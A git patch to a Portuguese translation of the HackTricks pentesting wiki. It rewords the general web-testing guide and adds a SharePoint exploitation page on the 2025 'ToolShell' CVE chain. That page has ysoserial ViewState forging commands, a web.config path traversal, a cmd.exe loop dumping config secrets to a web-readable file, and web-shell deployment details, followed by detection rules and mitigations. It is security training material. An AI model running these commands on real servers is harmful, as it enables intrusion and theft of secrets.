From 25a6ae79207fed37126519448aab33b5bc389d7b Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 22 Jul 2025 14:19:46 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/README.md', --- src/SUMMARY.md | 1 + .../pentesting-web/README.md | 53 ++++---- .../pentesting-web/microsoft-sharepoint.md | 126 ++++++++++++++++++ 3 files changed, 154 insertions(+), 26 deletions(-) create mode 100644 src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 09ba11160..088f962ff 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -423,6 +423,7 @@ - [Joomla](network-services-pentesting/pentesting-web/joomla.md) - [JSP](network-services-pentesting/pentesting-web/jsp.md) - [Laravel](network-services-pentesting/pentesting-web/laravel.md) + - [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md) - [Moodle](network-services-pentesting/pentesting-web/moodle.md) - [NextJS](network-services-pentesting/pentesting-web/nextjs.md) - [Nginx](network-services-pentesting/pentesting-web/nginx.md) diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 5159a69f6..2dfe2bb53 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -4,7 +4,7 @@ ## Informações Básicas -O serviço web é o mais **comum e extenso** e existem muitos **tipos diferentes de vulnerabilidades**. +O serviço web é o mais **comum e extenso** e muitos **tipos diferentes de vulnerabilidades** existem. **Porta padrão:** 80 (HTTP), 443(HTTPS) ```bash @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Orientação de API Web +### Orientação para API Web {{#ref}} web-api-pentesting.md @@ -77,7 +77,8 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi - [**Golang**](golang.md) - [**GraphQL**](graphql.md) - [**H2 - banco de dados SQL Java**](h2-java-sql-database.md) -- [**Truques do IIS**](iis-internet-information-services.md) +- [**truques do IIS**](iis-internet-information-services.md) +- [**Microsoft SharePoint**](microsoft-sharepoint.md) - [**JBOSS**](jboss.md) - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>) - [**Jira**](jira.md) @@ -105,12 +106,12 @@ Se a aplicação web estiver usando alguma **tecnologia/plataforma bem conhecida Se o **código fonte** da aplicação estiver disponível no **github**, além de realizar por **sua conta um teste de caixa branca** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **teste de caixa preta**: -- Existe um arquivo de **Change-log ou Readme ou Versão** ou qualquer coisa com **informações de versão acessíveis** via web? -- Como e onde são salvas as **credenciais**? Existe algum arquivo (acessível?) com credenciais (nomes de usuário ou senhas)? +- Existe um arquivo **Change-log ou Readme ou Version** ou algo com **informações de versão acessíveis** via web? +- Como e onde são salvas as **credenciais**? Existe algum (acessível?) **arquivo** com credenciais (nomes de usuário ou senhas)? - As **senhas** estão em **texto simples**, **criptografadas** ou qual **algoritmo de hash** é usado? - Está usando alguma **chave mestra** para criptografar algo? Qual **algoritmo** é usado? - Você pode **acessar algum desses arquivos** explorando alguma vulnerabilidade? -- Há alguma **informação interessante no github** (problemas resolvidos e não resolvidos)? Ou no **histórico de commits** (talvez alguma **senha introduzida dentro de um commit antigo**)? +- Há alguma **informação interessante no github** (problemas resolvidos e não resolvidos)? Ou no **histórico de commits** (talvez alguma **senha introduzida em um commit antigo**)? {{#ref}} code-review-tools.md @@ -176,7 +177,7 @@ Servidores web podem **comportar-se de maneira inesperada** quando dados estranh Se você descobrir que o **WebDav** está **ativado**, mas não tem permissões suficientes para **fazer upload de arquivos** na pasta raiz, tente: - **Forçar Brute Force** de credenciais -- **Fazer upload de arquivos** via WebDav para o **resto** das **pastas encontradas** dentro da página web. Você pode ter permissões para fazer upload de arquivos em outras pastas. +- **Fazer upload de arquivos** via WebDav para o **restante** das **pastas encontradas** dentro da página web. Você pode ter permissões para fazer upload de arquivos em outras pastas. ### **Vulnerabilidades SSL/TLS** @@ -211,27 +212,27 @@ Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontra - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs com parâmetros e os listará. - [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML com capacidades de renderização JS. - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, com capacidades de embelezamento JS capaz de buscar novos caminhos em arquivos JS. Também pode valer a pena dar uma olhada no [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper do LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto no código fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, red teamers, ninjas de infosec. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto no código-fonte HTML quanto em arquivos JavaScript incorporados. Útil para caçadores de bugs, red teamers, ninjas de infosec. - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Um script python 2.7 usando Tornado e JSBeautifier para analisar URLs relativas de arquivos JavaScript. Útil para descobrir facilmente requisições AJAX. Parece não estar sendo mantido. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs dele usando expressões regulares engenhosas para encontrar e extrair as URLs relativas de arquivos feios (minificados). - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, várias ferramentas): Coletar informações interessantes de arquivos JS usando várias ferramentas. - [**subjs**](https://github.com/lc/subjs) (go): Encontrar arquivos JS. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregar uma página em um navegador sem cabeça e imprimir todas as URLs carregadas para carregar a página. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregar uma página em um navegador sem interface e imprimir todas as URLs carregadas para carregar a página. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Ferramenta de descoberta de conteúdo misturando várias opções das ferramentas anteriores. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Uma extensão Burp para encontrar caminhos e parâmetros em arquivos JS. - [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uma ferramenta que, dado a URL .js.map, obterá o código JS embelezado. -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta é uma ferramenta usada para descobrir endpoints para um alvo específico. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta é uma ferramenta usada para descobrir endpoints para um determinado alvo. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descobrir links da máquina wayback (também baixando as respostas na wayback e procurando mais links). - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastear (mesmo preenchendo formulários) e também encontrar informações sensíveis usando regexes específicas. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um avançado Crawler/Spider de segurança web com múltiplas funcionalidades projetado para profissionais de cibersegurança. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código fonte JavaScript. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código-fonte JavaScript. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples **extensão do Burp Suite** para **extrair os parâmetros e endpoints** da requisição para criar listas de palavras personalizadas para fuzzing e enumeração. - [**katana**](https://github.com/projectdiscovery/katana) (go): Ferramenta incrível para isso. - [**Crawley**](https://github.com/s0rg/crawley) (go): Imprimir todos os links que conseguir encontrar. -### Forçar diretórios e arquivos +### Força Bruta em diretórios e arquivos -Comece a **forçar** a partir da pasta raiz e tenha certeza de forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer essa força **recursivamente** e adicionando no início da lista de palavras usada os nomes dos diretórios encontrados).\ +Comece a **forçar** a partir da pasta raiz e tenha certeza de forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer essa força bruta **recursivamente** e adicionando no início da lista de palavras usada os nomes dos diretórios encontrados).\ Ferramentas: - **Dirb** / **Dirbuster** - Incluído no Kali, **antigo** (e **lento**) mas funcional. Permite certificados autoassinados e busca recursiva. Muito lento em comparação com as outras opções. @@ -264,31 +265,31 @@ Ferramentas: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Nota que sempre que um novo diretório for descoberto durante a força bruta ou spidering, ele deve ser forçado._ +_Observe que sempre que um novo diretório for descoberto durante a força bruta ou spidering, ele deve ser forçado._ ### O que verificar em cada arquivo encontrado -- [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontrar links quebrados dentro de HTMLs que podem estar propensos a sequestros. -- **Backups de arquivos**: Uma vez que você tenha encontrado todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se puder, você poderia tentar buscar** parâmetros ocultos em cada arquivo web executável. +- [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontre links quebrados dentro de HTMLs que podem estar propensos a tomadas de controle. +- **Backups de Arquivos**: Uma vez que você tenha encontrado todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se puder, você pode tentar buscar** parâmetros ocultos em cada arquivo web executável. - _Arjun todas as listas de palavras padrão:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Comentários:** Verifique os comentários de todos os arquivos, você pode encontrar **credenciais** ou **funcionalidade oculta**. -- Se você estiver jogando **CTF**, um truque "comum" é **esconder** **informações** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados se abrir o código fonte com o navegador). Outra possibilidade é usar **várias novas linhas** e **esconder informações** em um comentário na **parte inferior** da página web. +- Se você estiver jogando **CTF**, um truque "comum" é **esconder** **informações** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados se abrir o código-fonte com o navegador). Outra possibilidade é usar **várias novas linhas** e **esconder informações** em um comentário na **parte inferior** da página web. - **Chaves de API**: Se você **encontrar alguma chave de API**, há um guia que indica como usar chaves de API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). - Chaves de API do Google: Se você encontrar alguma chave de API parecida com **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, você pode usar o projeto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar quais APIs a chave pode acessar. -- **Buckets S3**: Enquanto faz spidering, veja se algum **subdomínio** ou algum **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/index.html). +- **Buckets S3**: Enquanto faz spidering, verifique se algum **subdomínio** ou qualquer **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/index.html). -### Descobertas especiais +### Descobertas Especiais **Enquanto** realiza o **spidering** e **força bruta**, você pode encontrar **coisas** **interessantes** que deve **notar**. -**Arquivos interessantes** +**Arquivos Interessantes** - Procure por **links** para outros arquivos dentro dos **arquivos CSS**. -- [Se você encontrar um _**.git**_ algumas informações podem ser extraídas](git.md). +- [Se você encontrar um arquivo _**.git**_, algumas informações podem ser extraídas](git.md). - Se você encontrar um _**.env**_, informações como chaves de API, senhas de bancos de dados e outras informações podem ser encontradas. - Se você encontrar **endpoints de API**, você [também deve testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles. - **Arquivos JS**: Na seção de spidering, várias ferramentas que podem extrair caminhos de arquivos JS foram mencionadas. Além disso, seria interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma mudança pode indicar que uma vulnerabilidade potencial foi introduzida no código. Você poderia usar, por exemplo, [**JSMon**](https://github.com/robre/jsmon)**.** @@ -298,9 +299,9 @@ _Nota que sempre que um novo diretório for descoberto durante a força bruta ou - **Deobfuscação JsFuck** (javascript com caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)). - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - Em várias ocasiões, você precisará **entender as expressões regulares** usadas. Isso será útil: [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex). -- Você também pode **monitorar os arquivos onde formulários foram detectados**, pois uma mudança no parâmetro ou o aparecimento de um novo formulário pode indicar uma nova funcionalidade vulnerável potencial. +- Você também pode **monitorar os arquivos onde formulários foram detectados**, pois uma mudança no parâmetro ou a aparição de um novo formulário pode indicar uma nova funcionalidade vulnerável potencial. -**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** +**403 Forbidden/Autenticação Básica/401 Unauthorized (bypass)** {{#ref}} 403-and-401-bypasses.md @@ -312,13 +313,13 @@ Se alguma página **responder** com esse **código**, provavelmente é um **prox **Autenticação NTLM - Divulgação de informações** -Se o servidor em execução que pede autenticação é **Windows** ou você encontra um login pedindo suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\ +Se o servidor em execução que solicita autenticação é **Windows** ou você encontra um login pedindo suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\ **Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido ao funcionamento da **autenticação NTLM**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\ Você pode **automatizar** isso usando o **plugin nmap** "_http-ntlm-info.nse_". **Redirecionamento HTTP (CTF)** -É possível **colocar conteúdo** dentro de uma **Redireção**. Este conteúdo **não será mostrado ao usuário** (já que o navegador executará o redirecionamento), mas algo pode estar **escondido** lá. +É possível **colocar conteúdo** dentro de um **Redirecionamento**. Este conteúdo **não será mostrado ao usuário** (já que o navegador executará o redirecionamento), mas algo pode estar **escondido** lá. ### Verificação de Vulnerabilidades Web diff --git a/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md new file mode 100644 index 000000000..0113ba020 --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md @@ -0,0 +1,126 @@ +# Microsoft SharePoint – Pentesting & Exploitation + +{{#include ../../banners/hacktricks-training.md}} + +> Microsoft SharePoint (local) é construído sobre ASP.NET/IIS. A maior parte da superfície de ataque web clássica (ViewState, Web.Config, web shells, etc.) está, portanto, presente, mas o SharePoint também vem com centenas de páginas ASPX proprietárias e serviços web que ampliam dramaticamente a superfície de ataque exposta. Esta página coleta truques práticos para enumerar, explorar e persistir dentro de ambientes SharePoint, com ênfase na cadeia de exploração de 2025 divulgada pela Unit42 (CVE-2025-49704/49706/53770/53771). + +## 1. Quick enumeration +``` +# favicon hash and keywords +curl -s https:///_layouts/15/images/SharePointHome.png +curl -s https:///_vti_bin/client.svc | file - # returns WCF/XSI + +# version leakage (often in JS) +curl -s https:///_layouts/15/init.js | grep -i "spPageContextInfo" + +# interesting standard paths +/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain +/_vti_bin/Lists.asmx # legacy SOAP service +/_catalogs/masterpage/Forms/AllItems.aspx + +# enumerate sites & site-collections (requires at least Anonymous) +python3 Office365-ADFSBrute/SharePointURLBrute.py -u https:// +``` +## 2. Cadeia de exploração 2025 (a.k.a. “ToolShell”) + +### 2.1 CVE-2025-49704 – Injeção de Código em ToolPane.aspx + +`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=` permite que código *Server-Side Include* arbitrário seja injetado na página, que é posteriormente compilada pelo ASP.NET. Um atacante pode incorporar C# que executa `Process.Start()` e inserir um ViewState malicioso. + +### 2.2 CVE-2025-49706 – Bypass de Autenticação Impropria + +A mesma página confia no cabeçalho **X-Forms_BaseUrl** para determinar o contexto do site. Ao apontá-lo para `/_layouts/15/`, a MFA/SSO aplicada no site raiz pode ser contornada **sem autenticação**. + +### 2.3 CVE-2025-53770 – Desserialização de ViewState Não Autenticada → RCE + +Uma vez que o atacante controla um gadget em `ToolPane.aspx`, ele pode postar um valor `__VIEWSTATE` **não assinado** (ou apenas com MAC) que aciona a desserialização .NET dentro do *w3wp.exe*, levando à execução de código. + +Se a assinatura estiver habilitada, roube a **ValidationKey/DecryptionKey** de qualquer `web.config` (veja 2.4) e forje o payload com *ysoserial.net* ou *ysodom*: +``` +ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" | +ViewStateGenerator.exe --validation-key --decryption-key -o payload.txt +``` +Para uma explicação detalhada sobre como abusar do ASP.NET ViewState, leia: +{{#ref}} +../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md +{{#endref}} + +### 2.4 CVE-2025-53771 – Path Traversal / divulgação do web.config + +Enviar um parâmetro `Source` elaborado para `ToolPane.aspx` (por exemplo, `../../../../web.config`) retorna o arquivo alvo, permitindo a divulgação de: + +* `` ➜ forjar cookies ViewState / ASPXAUTH +* strings de conexão e segredos. + +## 3. Receitas de pós-exploração observadas na natureza + +### 3.1 Exfiltrar todos os arquivos *.config* (variação-1) +``` +cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js" +``` +O resultado do `debug_dev.js` pode ser baixado anonimamente e contém **todas** as configurações sensíveis. + +### 3.2 Implantar um shell web ASPX codificado em Base64 (variação-2) +``` +powershell.exe -EncodedCommand +``` +Exemplo de payload decodificado (abreviado): +```csharp +<%@ Page Language="C#" %> +<%@ Import Namespace="System.Security.Cryptography" %> + +``` +Escrito para: +``` +C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx +``` +A shell expõe endpoints para **ler / girar chaves de máquina** que permitem forjar cookies ViewState e ASPXAUTH em toda a fazenda. + +### 3.3 Variante ofuscada (variação-3) + +Mesma shell, mas: +* colocada em `...\15\TEMPLATE\LAYOUTS\` +* nomes de variáveis reduzidos a letras únicas +* `Thread.Sleep()` adicionado para evasão de sandbox e bypass de AV baseado em tempo. + +## 4. Ideias de detecção + +| Telemetria | Por que é suspeito | +|------------|---------------------| +| `w3wp.exe → cmd.exe` | O processo de trabalho raramente deve gerar shell | +| `cmd.exe → powershell.exe -EncodedCommand` | Padrão clássico de lolbin | +| Eventos de arquivo criando `debug_dev.js` ou `spinstall0.aspx` | IOCs diretamente do ToolShell | +| `ProcessCmdLine CONTÉM ToolPane.aspx` (logs ETW/Módulo) | PoCs públicas invocam esta página | + +Exemplo de regra XDR / Sysmon (pseudo-XQL): +``` +proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe") +``` +## 5. Dureza & Mitigação + +1. **Patch** – Atualizações de segurança de julho de 2025 corrigem *todos* os quatro CVEs. +2. **Rotacione** todos os segredos `` e `ViewState` após a violação. +3. Remova a permissão de escrita *LAYOUTS* dos grupos `WSS_WPG` & `WSS_ADMIN_WPG`. +4. Bloqueie o acesso externo a `/_layouts/15/ToolPane.aspx` no nível de proxy/WAF. +5. Ative **ViewStateUserKey**, **MAC habilitado** e *EventValidation* personalizado. + +## Truques relacionados + +* IIS pós-exploração & abuso de web.config: +{{#ref}} +../../network-services-pentesting/pentesting-web/iis-internet-information-services.md +{{#endref}} + +## Referências + +- [Unit42 – Exploração Ativa de Vulnerabilidades do Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/) +- [GitHub PoC – Cadeia de exploração ToolShell](https://github.com/real-or-not/ToolShell) +- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) +- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) + +{{#include ../../banners/hacktricks-training.md}}